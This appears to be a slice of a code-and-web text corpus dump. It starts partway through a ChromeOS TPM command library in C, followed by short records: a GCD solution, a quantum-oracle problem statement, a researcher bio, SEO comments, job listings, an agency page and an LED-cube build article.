cmd;\n\tVB2_DEBUG(\"TPM: SetDeactivated(%d)\\n\", flag);\n\tmemcpy(&cmd, &tpm_physicalsetdeactivated_cmd, sizeof(cmd));\n\t*(cmd.buffer + cmd.deactivated) = flag;\n\treturn Send(cmd.buffer);\n}\n\nuint32_t TlclGetPermanentFlags(TPM_PERMANENT_FLAGS* pflags)\n{\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tuint32_t size;\n\tuint32_t result = TlclSendReceive(tpm_getflags_cmd.buffer, response,\n\t\t\t\t\t  sizeof(response));\n\tif (result != TPM_SUCCESS)\n\t\treturn result;\n\tFromTpmUint32(response + kTpmResponseHeaderLength, &size);\n\t/* TODO(crbug.com/379255): This fails. Find out why.\n\t * VbAssert(size == sizeof(TPM_PERMANENT_FLAGS));\n\t */\n\tmemcpy(pflags,\n\t       response + kTpmResponseHeaderLength + sizeof(size),\n\t       sizeof(TPM_PERMANENT_FLAGS));\n\treturn result;\n}\n\nuint32_t TlclGetSTClearFlags(TPM_STCLEAR_FLAGS* vflags)\n{\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tuint32_t size;\n\tuint32_t result = TlclSendReceive(tpm_getstclearflags_cmd.buffer,\n\t\t\t\t\t  response, sizeof(response));\n\tif (result != TPM_SUCCESS)\n\t\treturn result;\n\tFromTpmUint32(response + kTpmResponseHeaderLength, &size);\n\t/* Ugly assertion, but the struct is padded up by one byte. */\n\t/* TODO(crbug.com/379255): This fails. Find out why.\n\t * VbAssert(size == 7 && sizeof(TPM_STCLEAR_FLAGS) - 1 == 7);\n\t */\n\tmemcpy(vflags,\n\t       response + kTpmResponseHeaderLength + sizeof(size),\n\t       sizeof(TPM_STCLEAR_FLAGS));\n\treturn result;\n}\n\nuint32_t TlclGetFlags(uint8_t* disable,\n\t\t      uint8_t* deactivated,\n\t\t      uint8_t *nvlocked)\n{\n\tTPM_PERMANENT_FLAGS pflags;\n\tuint32_t result = TlclGetPermanentFlags(&pflags);\n\tif (result == TPM_SUCCESS) {\n\t\tif (disable)\n\t\t\t*disable = pflags.disable;\n\t\tif (deactivated)\n\t\t\t*deactivated = pflags.deactivated;\n\t\tif (nvlocked)\n\t\t\t*nvlocked = pflags.nvLocked;\n\t\tVB2_DEBUG(\"TPM: Got flags disable=%d, deactivated=%d, \"\n\t\t\t  \"nvlocked=%d\\n\",\n\t\t\t  pflags.disable, pflags.deactivated, pflags.nvLocked);\n\t}\n\treturn result;\n}\n\nuint32_t TlclSetGlobalLock(void)\n{\n\tuint32_t x;\n\tVB2_DEBUG(\"TPM: Set global lock\\n\");\n\treturn TlclWrite(TPM_NV_INDEX0, (uint8_t*) &x, 0);\n}\n\nuint32_t TlclExtend(int pcr_num, const uint8_t* in_digest,\n\t\t    uint8_t* out_digest)\n{\n\tstruct s_tpm_extend_cmd cmd;\n\tuint8_t response[kTpmResponseHeaderLength + kPcrDigestLength];\n\tuint32_t result;\n\n\tmemcpy(&cmd, &tpm_extend_cmd, sizeof(cmd));\n\tToTpmUint32(cmd.buffer + tpm_extend_cmd.pcrNum, pcr_num);\n\tmemcpy(cmd.buffer + cmd.inDigest, in_digest, kPcrDigestLength);\n\n\tresult = TlclSendReceive(cmd.buffer, response, sizeof(response));\n\tif (result != TPM_SUCCESS)\n\t\treturn result;\n\n\tmemcpy(out_digest, response + kTpmResponseHeaderLength,\n\t       kPcrDigestLength);\n\treturn result;\n}\n\nuint32_t TlclGetPermissions(uint32_t index, uint32_t* permissions)\n{\n\tuint32_t dummy_attributes;\n\tTPM_NV_AUTH_POLICY dummy_policy;\n\tuint32_t dummy_policy_size = sizeof(dummy_policy);\n\n\treturn TlclGetSpaceInfo(index, permissions, &dummy_attributes,\n\t\t\t\t&dummy_policy, &dummy_policy_size);\n}\n\nstatic int DecodePCRInfo(const uint8_t** cursor,\n\t\t\t const uint8_t* end,\n\t\t\t TPM_PCR_INFO_SHORT* pcr_info)\n{\n\tconst size_t available_size = end - *cursor;\n\tif (available_size < sizeof(uint16_t)) {\n\t\treturn 0;\n\t}\n\n\tuint16_t size_of_select = 0;\n\tFromTpmUint16(*cursor, &size_of_select);\n\n\t/* Compute the actual size of the encoded PCR selection (which is a\n\t * variable-length field). */\n\tconst size_t encoded_pcr_info_size = sizeof(TPM_PCR_INFO_SHORT) -\n\t\tsizeof(pcr_info->pcrSelection.pcrSelect) + size_of_select;\n\tif (available_size < encoded_pcr_info_size ||\n\t    size_of_select > sizeof(pcr_info->pcrSelection.pcrSelect)) {\n\t\treturn 0;\n\t}\n\n\tmemset(&pcr_info->pcrSelection, 0, sizeof(pcr_info->pcrSelection));\n\tconst size_t pcr_selection_size =\n\t\tsizeof(size_of_select) + size_of_select;\n\tmemcpy(&pcr_info->pcrSelection, *cursor, pcr_selection_size);\n\t*cursor += pcr_selection_size;\n\n\tpcr_info->localityAtRelease = **cursor;\n\t(*cursor)++;\n\n\tmemcpy(&pcr_info->digestAtRelease, *cursor, sizeof(TPM_COMPOSITE_HASH));\n\t*cursor += sizeof(TPM_COMPOSITE_HASH);\n\n\treturn 1;\n}\n\nuint32_t TlclGetSpaceInfo(uint32_t index, uint32_t *attributes, uint32_t *size,\n\t\t\t  void* auth_policy, uint32_t* auth_policy_size)\n{\n\tTPM_NV_AUTH_POLICY* policy;\n\tuint32_t buffer_size = *auth_policy_size;\n\t*auth_policy_size = sizeof(TPM_NV_AUTH_POLICY);\n\tif (buffer_size < sizeof(TPM_NV_AUTH_POLICY)) {\n\t\treturn TPM_E_BUFFER_SIZE;\n\t}\n\tpolicy = auth_policy;\n\n\tstruct s_tpm_getspaceinfo_cmd cmd;\n\tmemcpy(&cmd, &tpm_getspaceinfo_cmd, sizeof(cmd));\n\tToTpmUint32(cmd.buffer + tpm_getspaceinfo_cmd.index, index);\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tuint32_t result = TlclSendReceive(cmd.buffer, response,\n\t\t\t\t\t  sizeof(response));\n\tif (result != TPM_SUCCESS) {\n\t\treturn result;\n\t}\n\n\tuint32_t response_size = TpmCommandSize(response);\n\tif (response_size > sizeof(response)) {\n\t\treturn TPM_E_RESPONSE_TOO_LARGE;\n\t}\n\n\tconst uint8_t* cursor = response + kTpmResponseHeaderLength;\n\tuint32_t cap_size = ReadTpmUint32(&cursor);\n\tif (cap_size >\n\t    response_size - sizeof(cap_size) - kTpmResponseHeaderLength) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\tconst uint8_t* end = cursor + cap_size;\n\n\tcursor += sizeof(uint16_t);  /* skip tag */\n\tuint32_t response_index = ReadTpmUint32(&cursor);\n\tif (index != response_index) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\tif (!DecodePCRInfo(&cursor, end, &policy->pcr_info_read) ||\n\t    !DecodePCRInfo(&cursor, end, &policy->pcr_info_write)) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\t/* Make sure that the remaining data in the buffer matches the size of\n\t * the remaining fields to decode. */\n\tif (end - cursor !=\n\t    2 * sizeof(uint32_t) + 3 * sizeof(uint8_t) + sizeof(uint16_t)) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\tcursor += sizeof(uint16_t);  /* skip TPM_NV_ATTRIBUTES tag */\n\t*attributes = ReadTpmUint32(&cursor);\n\tcursor += sizeof(uint8_t);  /* skip bReadSTClear */\n\tcursor += sizeof(uint8_t);  /* skip bWriteSTClear */\n\tcursor += sizeof(uint8_t);  /* skip bWriteDefine */\n\t*size = ReadTpmUint32(&cursor);\n\n\treturn TPM_SUCCESS;\n}\n\nuint32_t TlclGetOwnership(uint8_t* owned)\n{\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tuint32_t size;\n\tuint32_t result = TlclSendReceive(tpm_getownership_cmd.buffer,\n\t\t\t\t\t  response, sizeof(response));\n\tif (result != TPM_SUCCESS)\n\t\treturn result;\n\tFromTpmUint32(response + kTpmResponseHeaderLength, &size);\n\t/* TODO(crbug.com/379255): This fails. Find out why.\n\t * VbAssert(size == sizeof(*owned));\n\t */\n\tmemcpy(owned,\n\t       response + kTpmResponseHeaderLength + sizeof(size),\n\t       sizeof(*owned));\n\treturn result;\n}\n\nuint32_t TlclGetRandom(uint8_t* data, uint32_t length, uint32_t *size)\n{\n\tstruct s_tpm_get_random_cmd cmd;\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tuint32_t result;\n\n\tVB2_DEBUG(\"TPM: TlclGetRandom(%d)\\n\", length);\n\tmemcpy(&cmd, &tpm_get_random_cmd, sizeof(cmd));\n\tToTpmUint32(cmd.buffer + tpm_get_random_cmd.bytesRequested, length);\n\t/* There must be room in the response buffer for the bytes. */\n\tif (length > TPM_LARGE_ENOUGH_COMMAND_SIZE - kTpmResponseHeaderLength\n\t    - sizeof(uint32_t)) {\n\t\treturn TPM_E_IOERROR;\n\t}\n\n\tresult = TlclSendReceive(cmd.buffer, response, sizeof(response));\n\tif (result == TPM_SUCCESS) {\n\t\tconst uint8_t* get_random_cursor =\n\t\t\t\tresponse + kTpmResponseHeaderLength;\n\t\t*size = ReadTpmUint32(&get_random_cursor);\n\n\t\t/* There must be room in the target buffer for the bytes. */\n\t\tif (*size > length) {\n\t\t\treturn TPM_E_RESPONSE_TOO_LARGE;\n\t\t}\n\t\tmemcpy(data, get_random_cursor, *size);\n\t}\n\n\treturn result;\n}\n\nuint32_t TlclGetVersion(uint32_t* vendor, uint64_t* firmware_version,\n\t\t\tuint8_t* vendor_specific_buf,\n\t\t\tsize_t* vendor_specific_buf_size)\n{\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tuint32_t result = TlclSendReceive(tpm_getversionval_cmd.buffer,\n\t\t\t\t\t  response, sizeof(response));\n\tif (result != TPM_SUCCESS)\n\t\treturn result;\n\n\tconst uint8_t* cursor = response + kTpmResponseHeaderLength;\n\tuint32_t size = ReadTpmUint32(&cursor);\n\n\t/* Verify size >= sizeof(TPM_CAP_VERSION_INFO). */\n\tconst uint32_t kSizeofCapVersionInfo = 15;\n\tif (size < kSizeofCapVersionInfo ||\n\t    kTpmResponseHeaderLength + sizeof(size) + size >\n\t\t\tTPM_LARGE_ENOUGH_COMMAND_SIZE) {\n\t\treturn TPM_E_IOERROR;\n\t}\n\n\tcursor += sizeof(uint16_t);  /* tag */\n\tcursor += sizeof(uint16_t);  /* spec version */\n\n\t*firmware_version = ReadTpmUint16(&cursor);\n\n\tcursor += sizeof(uint16_t);  /* specLevel */\n\tcursor += sizeof(uint8_t);  /* errataRev */\n\n\t*vendor = ReadTpmUint32(&cursor);\n\n\tif (vendor_specific_buf_size) {\n\t\tuint16_t vendor_specific_size = ReadTpmUint16(&cursor);\n\n\t\tif (size < kSizeofCapVersionInfo + vendor_specific_size) {\n\t\t\treturn TPM_E_IOERROR;\n\t\t}\n\t\tif (vendor_specific_buf) {\n\t\t\tif (vendor_specific_size > *vendor_specific_buf_size) {\n\t\t\t\tvendor_specific_size =\n\t\t\t\t\t*vendor_specific_buf_size;\n\t\t\t}\n\t\t\tmemcpy(vendor_specific_buf, cursor,\n\t\t\t       vendor_specific_size);\n\t\t\tcursor += vendor_specific_size;\n\t\t}\n\t\t*vendor_specific_buf_size = vendor_specific_size;\n\t}\n\n\treturn TPM_SUCCESS;\n}\n\nstatic void ParseIFXFirmwarePackage(const uint8_t** cursor,\n\t\t\t\t    TPM_IFX_FIRMWAREPACKAGE* firmware_package)\n{\n\tfirmware_package->FwPackageIdentifier = ReadTpmUint32(cursor);\n\tfirmware_package->Version = ReadTpmUint32(cursor);\n\tfirmware_package->StaleVersion = ReadTpmUint32(cursor);\n}\n\nuint32_t TlclIFXFieldUpgradeInfo(TPM_IFX_FIELDUPGRADEINFO* info)\n{\n\tuint32_t vendor;\n\tuint64_t firmware_version;\n\tuint32_t result =\n\t\t\tTlclGetVersion(&vendor, &firmware_version, NULL, NULL);\n\tif (result != TPM_SUCCESS) {\n\t\treturn result;\n\t}\n\tif (vendor != 0x49465800) {\n\t\treturn TPM_E_BAD_ORDINAL;\n\t}\n\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tresult = TlclSendReceive(tpm_ifx_fieldupgradeinforequest2_cmd.buffer,\n\t\t\t\t response, sizeof(response));\n\tif (result != TPM_SUCCESS) {\n\t\treturn result;\n\t}\n\n\tconst uint8_t* cursor = response + kTpmResponseHeaderLength;\n\tuint16_t size = ReadTpmUint16(&cursor);\n\n\t/* Comments below indicate skipped fields of unknown purpose that are\n\t * marked \"internal\" in the firmware updater source. */\n\tcursor += sizeof(uint16_t);  /* internal1 */\n\tinfo->wMaxDataSize = ReadTpmUint16(&cursor);\n\tcursor += sizeof(uint16_t);  /* sSecurityModuleLogic.internal1 */\n\tcursor += sizeof(uint32_t);  /* sSecurityModuleLogic.internal2 */\n\tcursor += sizeof(uint8_t[34]);  /* sSecurityModuleLogic.internal3 */\n\tParseIFXFirmwarePackage(&cursor, &info->sBootloaderFirmwarePackage);\n\tuint16_t fw_entry_count = ReadTpmUint16(&cursor);\n\tif (fw_entry_count > ARRAY_SIZE(info->sFirmwarePackages)) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\tuint16_t i;\n\tfor (i = 0; i < fw_entry_count; ++i) {\n\t\tParseIFXFirmwarePackage(&cursor, &info->sFirmwarePackages[i]);\n\t}\n\tinfo->wSecurityModuleStatus = ReadTpmUint16(&cursor);\n\tParseIFXFirmwarePackage(&cursor, &info->sProcessFirmwarePackage);\n\tcursor += sizeof(uint16_t);  /* internal6 */\n\tcursor += sizeof(uint8_t[6]);  /* internal7 */\n\tinfo->wFieldUpgradeCounter = ReadTpmUint16(&cursor);\n\n\tuint32_t parsed_bytes = cursor - response;\n\tVbAssert(parsed_bytes <= TPM_LARGE_ENOUGH_COMMAND_SIZE);\n\tif (parsed_bytes > kTpmResponseHeaderLength + sizeof(size) + size) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\treturn result;\n}\n\n#ifdef CHROMEOS_ENVIRONMENT\n\nstatic uint32_t ParseRsaKeyParms(const uint8_t* buffer,\n\t\t\t\t const uint8_t* end,\n\t\t\t\t uint32_t* key_len,\n\t\t\t\t uint32_t* num_primes,\n\t\t\t\t uint32_t* exponent)\n{\n\tif (end - buffer < 3 * sizeof(uint32_t)) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\t*key_len = ReadTpmUint32(&buffer);\n\t*num_primes = ReadTpmUint32(&buffer);\n\tuint32_t exponent_size = ReadTpmUint32(&buffer);\n\tif (end - buffer < exponent_size) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\tif (exponent_size == 0) {\n\t\t*exponent = 0x10001;\n\t} else if (exponent_size <= sizeof(*exponent)) {\n\t\t*exponent = 0;\n\t\tint i;\n\t\tfor (i = 0; i < exponent_size; ++i) {\n\t\t\t*exponent |= (*buffer++) << (8 * i);\n\t\t}\n\t} else {\n\t\treturn TPM_E_INTERNAL_ERROR;\n\t}\n\n\treturn TPM_SUCCESS;\n}\n\nstatic uint32_t ParseTpmPubKey(const uint8_t** buffer,\n\t\t\t       const uint8_t* end,\n\t\t\t       uint32_t* algorithm,\n\t\t\t       uint16_t* enc_scheme,\n\t\t\t       uint16_t* sig_scheme,\n\t\t\t       uint32_t* key_len,\n\t\t\t       uint32_t* num_primes,\n\t\t\t       uint32_t* exponent,\n\t\t\t       uint8_t* modulus,\n\t\t\t       uint32_t* modulus_size)\n{\n\tuint32_t result = TPM_SUCCESS;\n\n\tif (end - *buffer < 2 * sizeof(uint32_t) + 2 * sizeof(uint16_t)) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\t*algorithm = ReadTpmUint32(buffer);\n\t*enc_scheme = ReadTpmUint16(buffer);\n\t*sig_scheme = ReadTpmUint16(buffer);\n\n\tuint32_t parm_size = ReadTpmUint32(buffer);\n\tif (end - *buffer < parm_size) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\tif (*algorithm == TPM_ALG_RSA) {\n\t\tresult = ParseRsaKeyParms(*buffer, *buffer + parm_size,\n\t\t\t\t\t  key_len, num_primes, exponent);\n\t\tif (result != TPM_SUCCESS) {\n\t\t\treturn result;\n\t\t}\n\t} else {\n\t\treturn TPM_E_INTERNAL_ERROR;\n\t}\n\n\t*buffer += parm_size;\n\n\tif (end - *buffer < sizeof(uint32_t)) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\tuint32_t actual_modulus_size = ReadTpmUint32(buffer);\n\tif (end - *buffer < actual_modulus_size) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\tif (modulus && *modulus_size >= actual_modulus_size) {\n\t\tmemcpy(modulus, *buffer, actual_modulus_size);\n\t} else {\n\t\tresult = TPM_E_BUFFER_SIZE;\n\t}\n\t*modulus_size = actual_modulus_size;\n\t*buffer += actual_modulus_size;\n\n\treturn result;\n}\n\nuint32_t TlclReadPubek(uint32_t* public_exponent,\n\t\t       uint8_t* modulus,\n\t\t       uint32_t* modulus_size)\n{\n\tstruct s_tpm_readpubek_cmd cmd;\n\tmemcpy(&cmd, &tpm_readpubek_cmd, sizeof(cmd));\n\tif (VbExTpmGetRandom(cmd.buffer + tpm_readpubek_cmd.antiReplay,\n\t\t\t     sizeof(TPM_NONCE)) != VB2_SUCCESS) {\n\t\treturn TPM_E_INTERNAL_ERROR;\n\t}\n\n\t/* The response contains the public endorsement key, so use a large\n\t * response buffer. */\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE + TPM_RSA_2048_LEN];\n\tuint32_t result = TlclSendReceive(cmd.buffer, response,\n\t\t\t\t\t  sizeof(response));\n\tif (result != TPM_SUCCESS) {\n\t\treturn result;\n\t}\n\n\tconst uint8_t* cursor = response + kTpmResponseHeaderLength;\n\tconst uint8_t* end = response + sizeof(response);\n\n\t/* Parse the key */\n\tuint32_t algorithm;\n\tuint16_t enc_scheme;\n\tuint16_t sig_scheme;\n\tuint32_t key_len;\n\tuint32_t num_primes;\n\tresult = ParseTpmPubKey(&cursor, end, &algorithm, &enc_scheme,\n\t\t\t\t&sig_scheme, &key_len, &num_primes,\n\t\t\t\tpublic_exponent, modulus, modulus_size);\n\tif (result != TPM_SUCCESS) {\n\t\treturn result;\n\t}\n\n\t/* Parse the checksum */\n\tif (end - cursor < TPM_SHA1_160_HASH_LEN) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\tconst uint8_t* checksum = cursor;\n\tcursor += TPM_SHA1_160_HASH_LEN;\n\n\t/* Check the digest */\n\tstruct vb2_sha1_context sha1_ctx;\n\tvb2_sha1_init(&sha1_ctx);\n\tvb2_sha1_update(&sha1_ctx, response + kTpmResponseHeaderLength,\n\t\t\tchecksum - (response + kTpmResponseHeaderLength));\n\tvb2_sha1_update(&sha1_ctx, cmd.buffer + tpm_readpubek_cmd.antiReplay,\n\t\t\tsizeof(TPM_NONCE));\n\tuint8_t digest[TPM_SHA1_160_HASH_LEN];\n\tvb2_sha1_finalize(&sha1_ctx, digest);\n\tif (vb2_safe_memcmp(digest, checksum, sizeof(digest))) {\n\t\treturn TPM_E_AUTHFAIL;\n\t}\n\n\t/* Validate expectations for the EK. */\n\tif (algorithm != TPM_ALG_RSA ||\n\t    enc_scheme != TPM_ES_RSAESOAEP_SHA1_MGF1 ||\n\t    sig_scheme != TPM_SS_NONE ||\n\t    key_len != 2048 ||\n\t    num_primes != 2) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\treturn result;\n}\n\nuint32_t TlclTakeOwnership(uint8_t enc_owner_auth[TPM_RSA_2048_LEN],\n\t\t\t   uint8_t enc_srk_auth[TPM_RSA_2048_LEN],\n\t\t\t   uint8_t owner_auth[TPM_AUTH_DATA_LEN])\n{\n\t/* Start an OAIP session. */\n\tstruct auth_session auth_session;\n\tuint32_t result = StartOIAPSession(&auth_session, owner_auth);\n\tif (result != TPM_SUCCESS) {\n\t\treturn result;\n\t}\n\n\t/* Build the TakeOwnership command. */\n\tstruct s_tpm_takeownership_cmd cmd;\n\tmemcpy(&cmd, &tpm_takeownership_cmd, sizeof(cmd));\n\tmemcpy(cmd.buffer + tpm_takeownership_cmd.encOwnerAuth, enc_owner_auth,\n\t       TPM_RSA_2048_LEN);\n\tmemcpy(cmd.buffer + tpm_takeownership_cmd.encSrkAuth, enc_srk_auth,\n\t       TPM_RSA_2048_LEN);\n\tresult = AddRequestAuthBlock(&auth_session, cmd.buffer,\n\t\t\t\t     sizeof(cmd.buffer), 0);\n\tif (result != TPM_SUCCESS) {\n\t\treturn result;\n\t}\n\n\t/* The response buffer needs to be large to hold the public half of the\n\t * generated SRK. */\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE + TPM_RSA_2048_LEN];\n\tresult = TlclSendReceive(cmd.buffer, response, sizeof(response));\n\tif (result != TPM_SUCCESS) {\n\t\treturn result;\n\t}\n\n\t/* Check the auth tag on the response. */\n\tresult = CheckResponseAuthBlock(&auth_session, TPM_ORD_TakeOwnership,\n\t\t\t\t\tresponse, sizeof(response));\n\tif (result != TPM_SUCCESS) {\n\t\treturn result;\n\t}\n\n\treturn TPM_SUCCESS;\n}\n\nuint32_t TlclCreateDelegationFamily(uint8_t family_label)\n{\n\tstruct s_tpm_create_delegation_family_cmd cmd;\n\tmemcpy(&cmd, &tpm_create_delegation_family_cmd, sizeof(cmd));\n\tcmd.buffer[tpm_create_delegation_family_cmd.familyLabel] = family_label;\n\treturn Send(cmd.buffer);\n}\n\nuint32_t TlclReadDelegationFamilyTable(TPM_FAMILY_TABLE_ENTRY *table,\n\t\t\t\t       uint32_t* table_size)\n{\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tuint32_t result = TlclSendReceive(tpm_delegate_read_table_cmd.buffer,\n\t\t\t\t\t  response, sizeof(response));\n\tif (result != TPM_SUCCESS) {\n\t\treturn result;\n\t}\n\n\tuint32_t size;\n\tFromTpmUint32(response + sizeof(uint16_t), &size);\n\tif (size < kTpmRequestHeaderLength + sizeof(uint32_t) ||\n\t    size > sizeof(response)) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\tconst uint8_t* cursor = response + kTpmRequestHeaderLength;\n\tuint32_t table_bytes = ReadTpmUint32(&cursor);\n\n\tif (table_bytes > size - (cursor - response)) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\tuint32_t table_entries = table_bytes / sizeof(TPM_FAMILY_TABLE_ENTRY);\n\tint i;\n\tfor (i = 0; i < table_entries; ++i) {\n\t\tif (i >= *table_size || !table) {\n\t\t\tresult = TPM_E_BUFFER_SIZE;\n\t\t\tbreak;\n\t\t}\n\n\t\ttable[i].tag = ReadTpmUint16(&cursor);\n\t\ttable[i].familyLabel = *cursor++;\n\t\ttable[i].familyID = ReadTpmUint32(&cursor);\n\t\ttable[i].verificationCount = ReadTpmUint32(&cursor);\n\t\ttable[i].flags = ReadTpmUint32(&cursor);\n\t}\n\n\t*table_size = table_entries;\n\n\treturn result;\n}\n\n#endif  /* CHROMEOS_ENVIRONMENT */", "source": "cpt_stack_code", "language": "code", "token_count": 13044, "token_count_with_eod": 13045, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "/*\n * Author: Leandro Augusto Lacerda Campos <llacerdacampos@gmail.com>\n * \n * Data Structures and Algorithms Specialization,\n * by University of California, San Diego, \n * and National Research University Higher School of Economics\n * \n * Course 1: Algorithmic Toolbox\n * \n * Solution for Greatest Common Divisor Problem\n */\n\n#include <stdio.h>\n\nunsigned int gcd(unsigned int, unsigned int);\n\nint main()\n{\n    unsigned int a, b;\n\n    scanf(\"%u %u\", &a, &b);\n    printf(\"%u\\n\", gcd(a, b));\n    return 0;\n}\n\n// gcd: calculate the greatest common divisor of two non-negative integers a and b,\n// where 0 <= a, b <= 2 * 10^9. This function implements the Euclidean algorithm.\nunsigned int gcd(unsigned int a, unsigned int b)\n{\n    if (a > b)\n    {\n        if (b == 0)\n            return a;\n        else\n            return gcd(b, a % b);\n    }\n    else\n    {\n        if (a == 0)\n            return b;\n        else\n            return gcd(a, b % a);\n    }\n}", "source": "cpt_stack_code", "language": "code", "token_count": 277, "token_count_with_eod": 278, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Implement a quantum oracle on N qubits which implements a function f(x) = xk, i.e. the value of the function is the value of the k-th qubit.\n\nFor an explanation on how the quantum oracles work, see the tutorial blog post.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Oscar was a visitor in the SRG group in 2014. His research interests include software reliability, particularly in the domain of networked and distributed systems. He focuses on influence of time on the behaviour of systems and how this can be analysed by symbolic execution.\nOscar received his BSc and MSc in Computer Science from the chair for *Communication and Distributed Systems* of *RWTH Aachen University*, where he is also pursuing his PhD studies since late 2013. He visited the Software Reliability Group during the summer semester of 2014 working on the KLEE memory model and solver algorithms.\nOscar is one of the two main contributors to and maintainer of the KleeNet project, a fork of KLEE for distributed systems.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 161, "token_count_with_eod": 162, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Users will occasionally come to a page that doesn't exist on your site, either by following a broken link or typing in the wrong URL. Having a custom 404 page30 that kindly guides users back to a working page on your site can greatly improve a user's experience. Your 404 page should probably have a link back to your root page and could also provide links to popular or related content on your site. You can use Google Search Console to find the sources of URLs causing \"not found\" errors31.\nGreat content. Although I disagree with ‘the best times to post’ section. It is important to understand your audience. For example, if your brand/business is in high school, there will be low engagement until 2-5 when they are out of school. I highly suggest using instagram analytics (a subsidiary of facebook analytics) which gives you all of the details on when your followers are active. https://www.facebook.com/help/788388387972460\nExcellent post Brian. I think the point about writing content that appeals to influencers in spot on. Could you recommend some good, manual strategies through which I can spot influencers in boring niches *B2B* where influencers are not really talking much online? Is it a good idea to rely on newspaper articles to a feel for what a particular industry is talking about? Would love to hear your thoughts on that.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Job Not Found\nSorry we couldn't find the job you were looking for.\nFind the most recent jobs here:\nI need you to develop some software for me. I would like this software to be developed.\ni will help you get wins in Garina Free Fire on mobile.\nI need drawings of a dining table and dining chair in 3-4 hours with proper sizes so that it can be given for production.I will send the pictures in inbox\nWe been attached by ransomware .com\nI need some help with selling something.\nNeed a simple app built in flutter\nWe are a start up company, who are in need of an accurate logo. Our main themes are the following: name : Lumexus (from the latin words lumen=light and connect colour: maybe a gradient from redish-yellow-turkoise or just some light grey (feel free to try other stuff too, we are open about that) Font: not to plain, maybe a little abstract or in that direction (we want to seem modern) If yo...\neach function needs to be properly commented including a clear description of the purpose of the function, its parameter list and its return values. For example, in Matlab, this means that a user should be able to use the help command to obtain information on how to use each function.\nwe daily update games in our website. we are looking for 1st page ranking on [login to view URL] / [login to view URL] for keywords. We need to work on long term for wordpress sites. Looking for Advanced Seo techniques , already we are builded links. Improve more keywords & website traffic . We need ranking reports on every week/month.\nThe task: We want to make a drone work with Unity C#. This drone has to move in commands in C#. We talk about the drone in the link below [login to view URL] We already did a lot and are just stuck on the following tasks: 1. Update [login to view URL] to match new drone 2. Figure out why heartbeats are blocked (probably requires handshake type TCP or UDP messaging first, .pcap file of drone-phone ...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 445, "token_count_with_eod": 446, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "- Get To Know Us\n- Discuss Your Project\n- Get An Estimate\nWe believe that dynamic languages such as Ruby allow us to create more value for our clients.\nBehavior Driven Development\nWe believe that test-first processes create the cleanest code.\nWe adhere to the principles in the Agile Manifesto.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 64, "token_count_with_eod": 65, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Everything started with watching a video of an LED cube and thinking it couldn't be that hard to solder some LEDs together and build one on my own.\nBut as it turned out not everything was that easy.\nConcept behind an LED cube\nOn each layer the cathodes of the LEDs are connected, furthermore, all the anodes are connected vertically. This means, in the case of a 4x4x4 cube, there are 16 positive and 4 negative links. Now if one column is connected to positive voltage and one layer to ground then the LED in this column and this layer will light up. But at this point one can't turn on two individual LEDs on two different layers, the LEDs in all the positive columns where the layers are connected to ground will light up. The solution to this problem is multiplexing, so the first layer is turned on for a short time, then the next one, and so on.\nClick on the LEDs to see how it works.\nControl the speed here:\nMultiplexing in real applications is so fast that the human eye can't distinguish between the separate layers. The downside is that the LEDs appear to be darker because they're not turned on the whole time.\nWith some experience in electronics but none in developing own circuits, I used (of course) an Arduino as microcontroller at the beginning.\nI read about shift registers and played with the 74HC595 for a while.\nOne important thing I learned right at the start was that every input pin of this chip should be connected!\nFor example not connecting the 'enable' pin, thinking I didn't have to disable the shift register anyway, wasn't a good idea. The result was an undefined state for this pin and the chip dis- and enabled itself happily.\nTwo of the 74HC595 shift registers were used to drive the LEDs. Their outputs were directly connected to the anode of the LEDs. This didn't destroy the LEDs only because the shift register uses a MOSFET in its output circuit (2nd page \"input and output equivalent circuit\").\nMOSFET characteristic curve\nThis MOSFET example characteristic curve basically tells us that the more current [IDS] is flowing the higher the drain to source voltage [VDS] gets. So with enough current its much like a series resistor for the LED.\nBased on the work by \"CyrilB\", available under the Creative Commons Attribution-Share Alike 3.0 Unported license.\nBut I won't do this again because I have no idea how much current is flowing through one LED so they could have been destroyed. With that I also don't know exactly how much current the base of the ground-transistor needs to turn on 